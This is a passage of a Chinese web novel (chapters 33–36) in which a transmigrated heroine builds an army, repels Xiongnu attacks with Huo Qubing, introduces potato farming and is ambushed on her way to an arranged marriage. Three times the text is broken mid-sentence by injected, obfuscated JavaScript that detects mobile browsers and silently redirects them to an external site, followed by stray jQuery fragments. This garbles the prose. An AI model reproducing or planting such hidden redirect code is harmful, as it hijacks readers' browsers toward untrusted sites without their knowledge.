请宿主拥有兵力一万人,时限两年,当前人数:500/10000。任务成功奖励卧龙凤雏:诸葛亮、庞统,任务失败撤回卫霍大礼包。
主线任务二:
请宿主拥有一块起兵之地,不限大小,时限两年。任务成功奖励银矿一座,开采年限五十年,任务失败随即生成两名英雄到达敌方阵营。”
姬昤不禁瞪大了眼睛,毫无进展?!
“系统,能不能跟我解释一下我的任务进度为什么一点儿进展都没有?”姬昤在心中问道。。
“提示:
任务一需要士兵成为宿主的人,例如五百死士,姬家死士不能算在其中,因其隶属于每任家主不属于宿主个人。
任务二需要宿主在某一地块起兵召告天下。”
姬昤:……
她白高兴了,亏她还以为这么多人奔着她来了粟邑县能算进去呢,结果不行。还有第二个任务,这不是要她在安朝还存在的时候就宣布她姬昤要“谋反”吗?算了,她撑到安朝的最后时刻再宣布起兵自立为王好了,那时候狗皇帝也管不到她了,天高路远的,哪怕是消息传递都要好一段时日呢。
又过了好几日,圣旨到了姬府。
“奉天承运皇帝,诏曰:今赐安定郡为安定郡主封地,钦此!”宣旨的太监喊着,然后姬昤接了旨,送走了太监。
姬家众人起身。
“已是一月十九了,再过一月余你便要出嫁了……”姬父拿过姬昤手中的圣旨盯着喃喃着,他仿佛要把圣旨盯出个洞来。
“昤昤,你说的时机还没到吗?”姬母握住姬昤的手,满心担忧。
“快了。”姬昤微微一笑,试图安抚母亲的心。
“家主,外面全是百姓!”下人跑向姬昤,一边喊道。
姬昤松开母亲的手向外走去。
姬府外,乌泱泱的人站满了。
“姬家主,我们都听说了,您……您就要出嫁了?”一个妇人眼里还带着期待,似乎想从姬昤口中得到否定的回答。
“嗯,还有一月余。”姬昤回答。
“哎呀,天杀的狗皇帝,怎的让您嫁到那种地方去啊?”妇人拍着大腿哭丧着。
“郡主,没别的办法了吗?离婚期可不远了,能不能不嫁啊?我们都舍不得您啊。”一个老爷子拄着拐都哭了,还差点没站稳摔了,幸得身旁人扶住了。
姬昤耍了点心思,顿时湿了眼眶,说道:“圣旨已下,不得违抗,你们也莫要再说了,也是为了大安边疆稳定,这是我作为郡主的责任。”
百姓们一听更加痛恨皇帝了,多好的姬家主啊!
百姓们不愿意喊姬昤郡主而是更愿意喊她姬家主,因为这样他们觉得姬昤就只是姬昤,跟那和亲的婚事就没关系了。
可只是觉得罢了。
“乡亲们,都散了吧,散了吧。”姬昤又道,下巴处好挂着几滴泪水迟迟没有落下,那模样瞧着可怜极了。
大家你看看我我看看你,终究还是散了。
这可是圣旨,他们光在这说说能有什么作用?她就可以不用嫁了吗?
唉!
姬母见女儿哭得如此伤心也不禁落泪,她紧紧握着姬昤的手:“我的昤昤啊,怎么办啊……”
这时,整座县城内响起了号角声,声音非常厚重,紧接着又是战鼓的声音。
匈奴打来了!
姬昤眼神一变,她的机会来了。
姬昤带着她的武将们到了城门上,外面是匈奴大军,乌泱泱一片看不到头,看样子派了很多人来。
“此次匈奴派了号称五万大军,我们这兵力全加起来也不过三千余人,得向其他地方求援了。”常胜叉着腰看着下方,眉头紧皱。
霍去病倒是不惧,竟然还说出了这样一番话——
“五万对三千,优势在我。”
常胜:??
“你疯了?”常胜不禁问道。
姬昤也这么觉得,不过她莫名地对霍去病很有自信,但也有些担心,那毕竟是五万大军。
“莫怕,说是五万,实则不然,匈奴人兵力分散,一时半会儿聚集不起这么多兵力。”霍去病道。
他之前一人一马在匈奴各个部穿梭来去也摸清了匈奴的兵力分布,现在匈奴内部正在内乱,加在一起的兵力远超五万,但……
他们现在根本聚集不起来五万,顶多两万。
“家主,您那五百人要不要我带他们上一下战场?”霍去病撇过头,询问道。
“行啊,刚好他们也需要实战训练。只是他们大多是孩子,年龄有些小,我怕他们害怕,不如把他们放后面些。”姬昤点头。
“行。”霍去病应声。
姬昤想错了,她的五百死士竟然蠢蠢欲动。
“你们……”姬昤一时间有些卡住了,不知道该说些什么。
你们别害怕?
他们看起来一点儿都不害怕。
你们放心,都在后面,主要是囤经验,不至于那么前面杀敌?
可他们好像都想冲前面去。
“家主您放心,您花了那么多人力财力培养我们不是让我们吃喝玩乐的,我们能有这一次机会都很珍惜。”林大柱跟着孩子们一起上谢渊的课也有大半月了,如今说话都开始有些文绉绉的了。
“家主,您别只把我们当孩子看,我们是您的刀,不是孩子。”何小花眼神冷冽,可她分明只是一个还不到十一岁的孩子。
姬昤忍不住抚上何小花的脸,小小的脸上已经有了好几道疤痕,可她似乎全然不在乎。
姬昤憋住了不忍的心,因为这是她养的死士,说是死士,其实就是兵。他们迟早要上战场的,不过早一点晚一点的事。只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436707|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要是战争就一定会死人。
她不能太过心软了。
“我只要你们记住一句话,那就是——”姬昤扫过众人的脸,“活着回来!”
“喏!”众人高声应着。
城门打开,霍去病和常胜二人骑马领兵出征。
后面是粟邑县所有的兵力了,再加上姬昤个人的五百人,也不到四千人。
而对面若如霍去病所言便至少有两万人。
对面匈奴主将是一个大胡子壮汉,浑身都是肌肉,感觉有两个霍去病那么重。
“安儿们,快点来迎接你们爷爷!哈哈哈哈!”大汉狂笑,语气里满是轻蔑。
常胜第一个变了脸色。
安儿?安人小子,这是辱骂他们呢!呵,简直狂妄!
“呼延豹,如此放肆,是不是忘了被我追着我打的日子了?”霍去病冷眼看着壮汉,喊道。
要不是为了主公的大计,他至于一次又一次放过这个呼延豹吗?那呼延豹不会以为他弱吧?他只是故意放走他的。
被称作“呼延豹”的壮汉闻声神情一顿,他定睛一看。
竟是霍去病那小子!
常胜笑了,这事儿去病跟他们都说过,每每遇到呼延豹去病都会先打伤他,然后戏耍他一番,最后把他放走,他们虽然不知道去病为何这样做,但匈奴人压了他们这么多年喘不过气来,如今那呼延豹被这样玩他们听着还挺高兴的。
“霍姓小儿休要猖狂!如今我带五万大军前来,今日便是你的死期!”呼延豹在这么多人面前丢了面子很是愤怒,脸都气红了。
霍去病轻笑一声,好像是听到了什么笑话。
“去病,我已经传信给其他七县守军,还有安定、平阳、河东,我们只要撑住至少七日,定会有援军来的。”常胜低声说道。
“嗯。”霍去病应了声,“我带八百人冲锋,你带剩下人跟上。”
接着,霍去病抬手,放下那一刻,他骑马冲了出去,后面跟着八百轻骑兵。
城墙之上。
“家主,需要我们动手吗?”卫青站在姬昤身边,问道。
“先看看战况,若是不行你们再去,但得在援军来之前。我可不想再给皇帝送一群武将去了。”姬昤说道。
“喏。”几人应声。
霍去病带领八百轻骑兵在战场上如过无人之地,匈奴人死伤众多,呼延豹立刻喊了“撤”,然后带着大军跑了。
霍去病没有带兵再去追。
“将军为何不追?乘胜追击啊!”一个士兵问道。
“不必,穷寇莫追。他们还会再来犯的,回去吧。”霍去病说罢扯了下缰绳调转了马的方向。
时候还未到,他需要把匈奴大军多拖住一段时日。
一切都是为了主公。
呼延豹带着残兵们退到了五公里开外,他也是没想到霍去病竟然这么能打!好在他们跑得快,不然死伤得过半了!
“部帅,还要打吗?”有士兵问。
“废话!老子带这么多兵出来是要放马的吗?!冬日寒冷,我们的粮食已经不多了,不去抢他们的,我们要饿死吗?还是吃了你?嗯?”呼延豹怒视着那个士兵,眼神凶狠如草原上的恶狼,仿佛下一刻就要把士兵拆解入腹一般。
士兵吓得一哆嗦,连忙说道:“部帅息怒,小的口无遮拦,是小的的错!”他一边说一边扇着自己巴掌,不一会儿脸就肿起来了。
“滚!”呼延豹扇了士兵一巴掌,士兵反而暗自松了口气,嘴里应着“是”赶紧跑开了。
呼延豹望着粟邑县城的方向,眼里熊熊怒火燃起,他咬牙喊出了霍去病的名字——
“霍、去、病!你给我等着!”
34.再次来袭
匈奴来犯的消息很快就传到了建康,皇帝知道后勃然大怒,命边疆守将立刻前往粟邑县支援,不得有误。
然而……
“援军加在一起也才只有一万人?”姬昤有些不可思议,她都听见了什么呀?这还是人话吗?匈奴不管有没有派出五万人,但也是号称五万大军的,狗皇帝就给了粟邑一万兵力支援?
“我早就想到了,从前也是这样的。”常胜的语气里没有任何起伏,很是平淡。
“无碍,一万人足矣。”霍去病丝毫不担心。
“若是真的抵挡不住,莫怕,我粟邑县人人皆兵,人人可以上战场,包括我。”姬瑾神色严肃。
“你?大兄,你手无缚鸡之力的,连我都打不过,你还上战场?别瞎说了。”姬昤不禁说道。
“我在这儿这段时日也练过了,虽说还是很弱,但还能让粟邑多撑一会儿。”姬瑾笑了笑。
“无需多言,家主,县令,我们去了。”霍去病起身,拿上佩剑和常胜二人走出军帐。
二月初三,匈奴大军还在粟邑县外,但他们的兵力没有太大损失。
这段时间内,霍去病带着一批人马“七进七出”愣是没太伤着匈奴人,一时间匈奴人士气大涨,大安士兵士气“低迷”。
二月十一。
匈奴人再一次在城门外叫嚣,他们以为大安人一如之前几次一样会被激怒追出来最后无功而归,但这一次错了。
“将士们,时候到了,随我出征!”霍去病扬起长剑,接着一声“驾”,奔驰而出,后面跟着八百轻骑兵。
战鼓声响起,粟邑县的百姓们一开始都自发地为将士们浣衣做饭,现在更是目送将士们出城,眸中含着热泪,许多孩童还吵着要去杀敌人但被大人们抱住了。
战场上,呼延豹大笑着,他似乎看见大安的疆土正在一点点被他们占领,可是下一刻,他瞧见霍去病直奔他而来。
长剑直戳呼延豹的眼球,就在马上要扎进他眼里的那一刻,霍去病突然停住,剑架在了呼延豹脖子上划出一道血痕。
“我可以饶你一命,不过需要你去做点事。”霍去病压着嗓子说道。
“什么,什么事?”呼延豹大惊失色,他好像已经感觉到身体在变冷了。
其实是降温了,天气有点冷。
霍去病拉近了他和呼延豹的距离,低声说了些什么。
呼延豹的脸色变了变:“这,我们和他们有盟约的……”
“那你是选择你死咯?”霍去病反问。
“不,我做!”呼延豹立刻应道。
霍去病收回长剑,随即在他胳膊上猛地划上一刀,鲜血顿时流出。
“你!言而无信!”呼延豹当即指着霍去病大骂,眼看着就要举起大锤砸下去。
霍去病一把挡住,然后低声道:“你身上若是一点儿伤没有,怎么让他们信服?”说罢一把挡开呼延豹的大锤,接着骑着马转身冲向其他地方。
呼延豹眼看着大安人杀了越来越多匈奴人,他大喝一声:“撤!”
剩下的匈奴人跟着呼延豹跑了。
此战,大安大获全胜。
耗时二十四日。
霍去病带领八百轻骑兵斩获敌军两千余人,打得敌人节节败退,短时间内不敢再犯。皇帝大喜,特封霍去病为三品平北将军,于二月底调任回建康。
军营。
此战大获全胜,大家伙儿都很高兴,为此还特意杀了两只羊庆祝。
夜晚,篝火明亮,照亮了每一个人的脸。好在此战粟邑伤亡不多,几乎所有人都能参与到这个快乐的时刻。
“真好,我们赢了!可……”常胜举起酒杯,却看向霍去病,眼神惋惜。
这样的强者怎能调回建康做个闲散将军呢?这不是埋没人才嘛!可惜他不是皇帝,不能决定去病的命运。
可惜,可惜了啊。
“无碍。常大哥,待我去了建康,这里就交给你了,如果有什么事便去找郡主。”霍去病说罢手中的酒杯碰了下常胜手中的,接着一口喝下。
常胜不解,再过十日郡主就要出绛羌胡了,有事找郡主?去羌胡找吗?
战事平息,援军撤回,粟邑县又恢复了往日的安宁。
天气渐渐回暖了些,大家也减去了一两件衣裳。
离姬昤的婚期越来越近,姬府也赶制出了姬昤的嫁衣。
姬府。
英兰苑。
姬昤摸着架子上辛苦赶制出来的“纯衣纁袡”,这是这个时代的女子婚服,因为家族显赫,她的这件嫁衣要尽显华贵典雅,甚至可以说是“奢靡”。
“呜呜呜,好漂亮啊,可惜娘子要穿着它嫁给不喜欢的人。”月栀站在一旁哭唧唧。
“不一定呢,你家娘子我像是那种默默承受的人吗?让我嫁我就嫁?”姬昤轻声道。
“那,那娘子要怎么做?违抗圣旨?也不太好吧,皇帝没了面子怕是要罚您的。”月栀抽泣了几声,思索着。
“等着看吧。”姬昤喃喃着。
二月十六日,离婚期还有五日,一个消息如巨石砸进了粟邑县——
匈奴部帅呼延豹率五万兵马攻打羌胡,已激战数日,羌胡以姻亲身份向大安求援,大安皇帝同意,正在派兵前往羌胡支援。
但根据罗则的消息,皇帝虽说的确派了兵去支援,但只是一万兵马而已,根本帮不了什么。
更何况只是名义上的一万,实际有多少人还不知道呢。
“这样姬家主是不是不用嫁了?我看匈奴人做回好事直接把羌胡灭了得了。”
“你傻啊?可不能灭!最好两败俱伤,这样谁都没心思来打我们了。”
“奥对对对,是得这样,最好把那啥羌胡王子弄死,这样姬家主就不用嫁了,还能待在我们粟邑。”
“话说,你知道羌胡王子是个什么样的人吗?万一是个好人,把人家弄死也不好吧……”
“那谁知道,不过我听说那羌胡王子已经及冠,侍妾都有好几个了,据说还有两个孩子,姬家主嫁过去才不会好过,那羌胡王子……为了咱们家主,他还是去死一死吧。”
……
姬昤路过田野听见几个农民聊天的内容不禁瞪大了眼睛。
大家说话还是这么地直接。
“啊,姬家主,您什么时候来的呀?”一人余光瞥见了姬昤,尴尬地笑了笑。
其他人纷纷转身,面面相觑十分尴尬。
“啊哈哈,刚来,刚来,你们聊什么呢这么起劲?”姬昤装作什么都没听见的样子。
众人对视了眼,连忙笑着摆手:“没啥没啥,就是听说匈奴又去打羌胡了,觉得真奇怪,这匈奴人怎么这么爱打打杀杀呢?”
“可能人家……好战吧。”姬昤眨了眨眼。
“对了,庄稼长得如何?今年收成会怎样?”姬昤转移了话题,问道。
“一般,同去年差不多,今年收成估摸也好不到哪里去。”一人回答。
“奥,这样啊,你们忙,我就是路过,路过。”姬昤背过手转身离去,瞧着还有点心虚的模样。
二月二十日,姬昤出嫁前夕,一封信加急送到了粟邑县姬府。
羌胡说前方战事吃紧,怕无暇顾及郡主,恐伤了郡主千金之躯,因此便将婚期延后到了三月底。
“看,又延后了。”姬昤笑了笑。
月栀也笑了,但很快又跟要哭了似的:“娘子,那也只是延后了,等到了三月底还不是要嫁?唉……”
“若等那时还是要嫁我就再换个法子呗。”姬昤抚摸着美丽的嫁衣,嘟囔道。
“啊?”月栀没听清说的什么。
“无事。”姬昤。
二月底,霍去病简单收拾了行
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442019|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
囊出发去了建康,一行人站在城门口拜别。
霍去病骑在马上回头望去,目光和姬昤的对上,二人轻点了下头。
就在霍去病出发七日后,正在持续攻打羌胡的匈奴大军转头又来到了粟邑县外。
“安儿们,你们这下没了姓霍的那小子,我看你们还有谁能挡住我匈奴大军!”还是呼延豹,他狞笑着喊道。
城墙之上。
“这个呼延豹,当初去病就不该留他一命!”常胜愤恨道,“现在援兵都已回去,粟邑守军不过千人,如何抵挡?这该如何是好?”
“家主,需要我们去吗?”妇好看向姬昤。
她已经蠢蠢欲动了。
常胜眼睛一亮,对啊!还有他们啊!虽说这些人并无职位在身,可都很厉害,如果有了他们,说不定还真有希望!
“郡主,我即刻写一封战报禀告陛下求援。”常胜。
“嗯,但不必提及他们,不要让陛下知晓他们的存在。”姬昤叮嘱道,她说的他们也正是妇好、卫青他们。
“这是为何?他们不亚于去病,若此战胜了定能加官进爵。”常胜不解。
“他们是我的人,不是陛下的人。”姬昤看着常胜,眼里带着深意。
常胜愣了愣。
“常将军,你知道我是什么意思了吗?”姬昤反问。
“喏,臣会遵循郡主之意,不会提及他们的。”常胜敛眸,一脸淡定,内心却在发狂。
郡主这是什么意思?要要要那啥吗?那他知道了郡主的意图算什么?同伙?还是要在一个夜黑风高的夜晚被秘密解决掉?
“常将军。”姬昤一只手搭在了常胜肩膀上,常胜正在思索,突然被碰了一下吓得一哆嗦。
“郡主您说。”常胜。
“如今这世道你不是看不清,应该早做选择才是,我可是早就把你当做自己人了,你说对不对?”姬昤淡淡笑着,低声说道。
常胜的大脑在飞速旋转,一番纠结之后他回答:“郡主说的是。”
“好,待会儿你带兵打头阵。”姬昤拍了拍常胜的肩膀,然后转头看向妇好和卫青,“你们二人带领我那五百人跟上。”
“喏!”妇好和卫青二人应道。
姬昤和秦良玉等人看着城外战场上厮杀的众人,杨妙真手握梨花枪不禁问道:“家主,为何不让我们去?”
“你们若是一下子全去了,我还有什么底牌?莫急,日后再有机会就让你们去,轮着来嘛。”姬昤语气轻松。
这时,一个小兵跑了上来:“郡主……”
“叫我家主即可。”姬昤回过头。
“喏,家主。下面有人想见您,说是叫吴常、罗则。”小兵说道。
姬昤点头下了城墙。
“郡主!”吴常和罗则二人穿着干净,面色严肃,齐齐向姬昤行礼。
“不必多礼了,听说你们想见我,可是有何要事?”姬昤问。
二人对视了眼,然后罗则开口了:“我们一共五百七十二人,皆愿入伍杀敌,恳请郡主成全。”
姬昤微微挑眉:“我自是愿意成全的,可你们都没训练过,哪怕上了战场也是送死,再等等吧,等这次战事结束,我让我手底下一批人训练你们,日后你们再上战场。”
“可现在外面……”吴常指了指城门的方向,眉头紧皱着。
“我不需要你们去送死,再废话打哪儿来的滚回哪里去!”姬昤冷脸喝道。
吴常、罗则二人一惊,他们见到的郡主向来是温和活泼的,哪里这样发过火?
“喏。”二人应道,转身离去。
姬昤又回到了城墙上,他接过旁人递来的弓箭,拉弓对准了呼延豹。
她好歹跟随大家学了两年,更何况她这具身体竟然天赋异禀,不过是射箭而已,轻轻松松。
“呼延豹,去死吧。”
35.种土豆
姬昤一箭射死了匈奴部帅呼延豹,匈奴号称五万大军也被杀了近万人,匈奴因主将战死节节败退,最后不得已认了输。
皇帝在收到捷报的时候正在朝堂之上,霍去病已经来到建康,这还是他第一日上朝。
“好!好!匈奴肆掠我大安边疆多年,如今终于翻了跟头!”皇帝十分欢喜,脸上的笑容盖住了他本身有些疲惫的神色。
“只是没想到,安定郡主竟有这样的本事……”接着,皇帝渐渐敛了笑容,语气意味不明。
战报只说常胜带兵大败匈奴,安定郡主姬昤一箭射死呼延豹,其余的并未多言,因此皇帝只是惊讶姬昤的武艺,这让他完全意想不到。
“一介女子怎能上战场?真是伤风败俗!”尚书令吹胡子瞪眼的,十分不满。
“就是,打仗那是男人的事,安定郡主贵为郡主,马上又要为人妻,怎能做这样的事?”立马有大臣接了尚书令的话附和道。
接连好几人都符合着尚书令的话指责姬昤的不是,话里话外的意思都是说她一介女子舞刀舞枪的伤风败俗,希望皇帝能够小惩大诫。
“霍爱卿,你如何看呢?你是从粟邑县来的,应当对安定郡主有些了解吧?”皇帝看向霍去病。
霍去病站了出来:“回陛下的话,臣在粟邑时多待在军中,与郡主相处不多,但也有一定的了解。安定郡主此人大善,竟愿舍家财救助百姓、修路、筑房,一心为了大安着想,实在难得。郡主虽说是女子,上战场匪夷所思,但臣以为,郡主射杀呼延豹也是立下大功,不如将功抵过。”
皇帝点点头:“爱卿所言有理,安定郡主到底还是立下大功的。既如此,功抵过,朕便不赏不罚了。”
“陛下英明。”霍去病说道,因为低着脑袋他还翻了个白眼。
“陛下英明!”其余大臣附和道。
皇帝很是受用,然后看向霍去病:“霍爱卿可至及冠了?”
“回陛下的话,臣正值终贾之年。”霍去病回答。
皇帝脸上渐渐浮现出笑容:“好年纪啊,朕有两女年岁与爱卿相仿,朕瞧着与爱卿很是般配。正好你立下大功,不如朕在建康赐你一座宅子,再……赐你一桩婚事?”
众人一听就明白了,皇帝这是想嫁女儿了。有几人甚至羡慕地看向霍去病,一个初出茅庐的平民小子竟能娶公主,真是好命。
霍去病脑筋一转,说道:“臣谢陛下圣恩,但……匈奴不灭,臣何以家为!望陛下切莫将公主错付在臣身上,臣也不愿拖累了公主!”说罢屈膝跪下,目光坚定,脸上写满了“大义”二字。
皇帝脸上的神色有一瞬间的变化,但霍去病满口家国大义,他若是趁机发怒便会败坏他的名声,不过也好,如今大安能有这样的英年才俊也证明了大安亡不了,也算好事。
“唉,爱卿这说的什么话?你能有这份心思朕心甚慰,方才那些话也不过是提一嘴,若能成自然好,若不成朕又怎会怪你?快快起来吧。”皇帝虚抬了下手。
“谢陛下!”霍去病起身。
雍州。
粟邑县。
离匈奴战败已经过去了一些时日,可粟邑县的百姓们左等右等都没等到对姬昤的封赏,他们都不禁怀疑是不是封赏的人跑得太慢了还没到地方,结果就从罗则那得知陛下根本就没打算封赏姬昤,还说她以女子身份参与战事已是大不敬,此次射杀呼延豹就算将功抵过了。
百姓们异常愤怒,女子又如何?敌人杀人的时候可不分什么男女!姬家主有如此能力可一箭射杀呼延豹,狗皇帝应该嘉奖她才是!
“好了,都别气了,我本人都不气,你们气什么?还不如好好跟我学学如何种植这个叫土豆的粮食,很简单的,你们都看着点。”姬昤无奈笑道。
此时的姬昤挽起了两条裤腿扎在田地里,两条袖子也挽了起来,她的手中正拿着几个小块的已经发了芽的土豆。
好在她已经提前教人处理过这些土豆了,特意早些拿出来切块让它们发芽,这样种下去也好长一些。不过也多亏了系统给她的都是好养活的优良品种,基本上是不会种死的。
“家主可真厉害,我们在这儿生活这么多年都没发现还有一个叫土豆的好吃又管饱的粮食,家主才来几月就在山里发现了,可真是我们粟邑的大福星啊!”一个妇人笑着夸道。
“可不是嘛!感觉自从家主来了我们粟邑县之后我们就再也没饿过了!家主还给咱们粟邑带来了这么多人,要知道上一次粟邑有这么多人至少还是二十年前呢!咱们这儿过年的时候都比以往热闹多了!”一个中年男人满心欢喜地说道,看向姬昤的眼神都带着崇敬。
“可都快别夸我了,赶紧种土豆吧!种完了我们再烤一些我带人从山里挖出来的土豆吃吃,让你们提前尝一下这个东西是什么味道。”姬昤说道。
众人一听赶紧继续干活,一个比一个有劲,一个比一个能干。
姬昤直起腰想要休息会儿,干农活比她想像的要累多了。
在她胎穿以前她只是个还在读大学的普通女孩,虽然是农村出身,但她那个时候大家早都不种地了,她自出生起就没怎么下过田,没想到到了这里有朝一日她竟然下地干活了,真是难得。
粟邑县整个县的人们都在种姬昤所说的土豆,姬昤想了想直接拿出来三千斤土豆让系统放进了山中,然后她带人假装无意发现然后挖了出来,接着无意中发现这东西能吃,然后无意中发现了种植方法,最后便让大家都开始种土豆。
三千斤土豆,一亩地分三百斤来种也只不过十亩地而已,粟邑县有八个村,有两个村人数最多,因此各分了两亩地来种土豆,其余一村一亩地种植。姬昤粗略算过了,等到七八月收获的时候,按照系统的说法,现在这个条件下一亩地大概能产五百斤左右的土豆,十亩地也就是五千斤。虽然这个数量比起现代来讲实在是太低了,但对于现在这个时代已经是非常非常高了,要知道粟邑县往年粮食亩产也不过一百斤左右,最高的时候也才不到两百斤,这可是五百斤!已经很好很好了。
姬昤想过了,这只是第一年种植,待日后日子安定了、天气良好了、大家都会种土豆了,这个亩产值还能往上提,说不定哪天就能到亩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456581|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
产千斤了,这样挨饿的人也会变少了。
天色昏黄,大家都忙活完了,围聚在一起看着姬昤烤土豆。一个二个盯着正在烤的土豆咽口水,木头在火里烧得噼里啪啦的声音在这时变得格外响亮。
大家都静静地看着。
过了好一会儿,姬昤切开烤好的土豆,露出里面烤得金黄色的肉,淡淡的香气飘进了大家的鼻子里。
“天呐!好香啊!”有个小孩儿惊讶地喊道。
小孩儿的爹娘一把捂住他的嘴巴,一边说着让他别乱说话,但他们的眼神早就飘到了烤好的金黄色的土豆上去了,还不禁咽了咽口水。
姬昤一次性烤了十几个土豆,然后用匕首一个一个分成小块分给了大家。
大家伙分到一小块土豆时并没有着急吃下去,而是小心地闻着,然后发出感叹的声音——
“真香啊!”
有那眼尖的发现姬昤没吃,于是忍痛走上前把自己的递给姬昤:“家主您吃。”
姬昤笑了笑,推了一下:“我吃过了,不吃,你吃吧。”
其他人不禁看向递土豆的那人,一想怎的他就想到了先给姬家主吃,二想姬家主真是太好了,这样的稀罕玩意儿都不吃留给他们吃。
“好吃吗?”姬昤见大家吃得小心又认真,不禁问道。
“好吃!太好吃了!甜甜的!”之前那个小孩高兴地说道。
姬昤笑了:“好吃就行,你们慢慢吃,我先回去了。”
“家主慢走!可要我们送一送?天有些黑了。”一人问道。
“不必,我身边有护卫跟着呢。”姬昤。
姬昤一回到姬府就瞧小厮奔她而来。
“家主,二郎君来信。”小厮说道,递上一封信。
他口中的二郎君自然就是临泾县县令姬瑜。
姬昤接过,打开一看。
其实没什么重要的事,就是姬瑜听说了匈奴三番两次来犯,她还射杀了呼延豹,所以写信来问问情况关心一下她。
姬昤用余光瞥见了偷看的月栀,然后收起了信往英兰苑走去,边走边叹气。
月栀忍不住问道:“娘子,二郎君写了什么让您这么忧心啊?可是二郎君出什么事了?”
听着月栀语气里的担心,姬昤不禁勾了勾嘴角:“唉,我就是在想,阿兄怎的都不关心关心我们小月栀呢?真是的,都不知道月栀多关心他呢!”
月栀再傻也听出来姬昤话语里揶揄的意思了,她羞红了脸:“娘子!”
姬昤笑眯眯地说道:“其实阿兄问了的,他问我你最近如何,是不是还是笨手笨脚的,问你有没有变聪明点儿。”
月栀脸更红了,磕磕巴巴的说道:“谁,谁笨手笨脚了!我我我,我才不笨呢!我我,他,我,我一直都很聪明的好不好!”
“好好好,咱们月栀最聪明啦!”姬昤捏了捏月栀的脸,调笑道。
月栀注意到姬昤的眼神便知姬昤是在开玩笑打趣她,她一把捂住脸:“娘子!您又开我玩笑!”
姬昤搂着月栀笑着,月栀都快红得跟猴屁股似的了。
36.刺杀
“系统,查看我主线任务一进度。”
“当前任务进度:
主线任务一:
请宿主拥有兵力一万人,时限两年,当前人数:4867/10000。任务成功奖励卧龙凤雏:诸葛亮、庞统,任务失败撤回卫霍大礼包。”
姬昤心想,这个任务速度还可以,已经快达到一半了。
这近五千兵力当中,其中五百是她一开始养的死士,五百七十二人是吴常和罗则他们带领的后加入的人,剩下的三千多人是粟邑县的守军,自从常胜表示归顺她之后这些兵就自动归属到她名下算进她的任务里了。
离任务结束时间还有九个月左右,她还有时间。
很快,到了三月底,延后的婚期日子又到了。
姬昤换好了婚服,上了轿子。
姬家众人送别了姬昤。
一路上大约需要一月时间,待送嫁的队伍出了城门,城门渐渐关上,城内的百姓们这才忍不住哭了出来。
月栀坐在轿内和姬昤一起,她憋着嘴,眼泪大滴大滴地往下落。
“好了,哭什么呀?好像我要死了似的。”姬昤抹去月栀脸上的泪水,笑道。
“这可不是跟送死一样吗?”月栀哭得更凶了。
“别胡说,不是。好了你别哭了,吵得我头疼。”姬昤顺势做出头疼的模样。
月栀收住了哭声:“我不哭了,不吵您了。”
因姬昤是为了大安嫁去羌胡,因此一路畅通无阻,甚至还有流民乞儿看向她的眼神充满了同情。
大概还有六七日就要到羌胡了,此时的送嫁队伍到了一处山脚准备歇歇脚。
“家主,烤鸡好了,吃吧。”杨妙真把刚烤好的烤鸡递了过去。
因为妇好和卫青上过战场了,所以姬昤把他们留在粟邑防备匈奴或者鲜卑的袭击,还有秦良玉和冼英则是被她留下负责教导粟邑县的孩子们还有新加入的她的兵——吴常、罗则他们,所以她带了杨妙真在身边。
“你这手艺不错啊。”姬昤只是闻了闻就断定。
“那当然,总不能让家主吃到难吃的烤□□?”杨妙真笑了笑。
“娘子……”月栀眼巴巴地看着姬昤。
姬昤笑了,把烤鸡递了过去:“你先吃吧,我还不饿。”
月栀舔了舔嘴巴,笑眯眯地接过烤鸡:“谢谢娘子!谢谢杨娘子!”
突然,姬昤笑容一滞,她侧过脸用余光瞥了眼,然后和杨妙真对视了眼。
“你安排的这么早?”姬昤问。
杨妙真摇摇头:“我安排的是傍晚时分,还差至少半个时辰呢。”
姬昤眼神一凛,她拿好了武器。
“看来还有别人。”她说。
众人全都站了起来,包括姬昤带着的五十个护卫。
月栀啃烤鸡正香呢,满嘴都是油,见大家都站起来了,她也不禁站了起来。
“娘子,发生什么事了?”月栀连忙把烤鸡放在干净的地方,然后问道。
“月栀,你躲好,有人来了。”姬昤把月栀护在身后。
月栀着急地看了看自己的脏手,干脆直接在衣服上擦了擦,然后拿起一根长棍子。
树叶摇动之间,冲出来一批黑衣人,粗摸估计二三十人。
姬昤冷笑了声。
瞧不起谁呢?还没她带的护卫多!
只见下一刻,从树丛中出来了更多人,这下比姬昤带的护卫要多了。
姬昤:……
来人也不说话,直接就冲了上去。
“没礼貌。”姬昤吐槽了句,然后迎了上去。
好在她早就因为嫌婚服厚重麻烦给换了,现在穿的是轻便的服装,不然还真不好打架。
两波人纠缠在了一起,来人各个下死手。
